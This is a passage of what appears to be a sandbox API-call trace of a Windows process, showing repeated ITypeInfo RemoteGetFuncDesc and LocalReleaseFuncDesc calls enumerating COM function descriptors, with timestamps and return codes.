ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x29, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.550] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.550] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x30, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x31, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x32, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x33, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x34, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x35, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x36, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x37, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x38, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x39, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x40, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x41, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.551] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x42, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.551] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x43, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x44, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x45, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x46, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x47, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x48, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x49, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x50, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x51, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x52, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x53, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x54, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x55, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x56, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x57, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x58, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.552] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x59, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.552] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x60, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x61, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x62, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x63, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x64, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x65, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x66, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x67, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x68, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x69, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x70, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.553] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.553] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x71, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x72, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x73, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x74, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x75, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x76, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x77, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x78, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x79, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7e, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7f, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x80, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x81, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x82, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x83, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x84, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x85, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x86, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x87, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x88, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.554] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x89, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.554] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8a, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8b, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8c, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8d, ppFuncDesc=0x1271f8, pDummy=0x100 | out: ppFuncDesc=0x1271f8, pDummy=0x100) returned 0x0 [0053.555] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.555] 